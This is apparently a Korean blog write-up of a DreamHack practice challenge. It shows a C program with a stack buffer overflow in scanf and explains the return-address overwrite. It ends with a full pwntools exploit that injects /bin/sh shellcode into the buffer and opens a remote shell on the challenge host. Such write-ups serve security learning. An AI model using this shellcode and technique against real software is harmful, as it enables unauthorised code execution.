728x90
간단하게 작성하겠다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
0x70 + 0x04 = 0x74
102+4= 106
buf를 입력받는데 최대 141개를 받을 수 있다.
이때 buf의 크기가 0x80이므로 ret주소를 덮어쓸 수 있는데
gdb로 까보면 esp - 0x80을 하고 있기에 0x80+SFP(0x04) 뒤에 값이 ret값인걸 확인 가능하다.
이때 ret값을 buf로 맞춰주고 buf에다간 shellcode를 작성하면 shellcode를 실행 가능하다.
유의해야할점은 scanf에선 \x09, \x0a, \x0b, \x0c, \x0d, \x20 를 읽지 못하기에 이 문자들을 사용하지 않은 shellcode를 써야한다.
최종 poc코드는 아래와 같다.
from pwn import *
p = remote("host3.dreamhack.games", 16346)
p.recvuntil("buf = (")
buf_address = int(p.recv(10), 16)
code = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
code += b"A"*0x6a
code += p32(buf_address)
p.sendafter(')\n',code)
p.interactive()
728x90
반응형
'Pwnable > DreamHack' 카테고리의 다른 글
드림핵 shell_basic 풀이 (0) | 2024.02.06 |
---|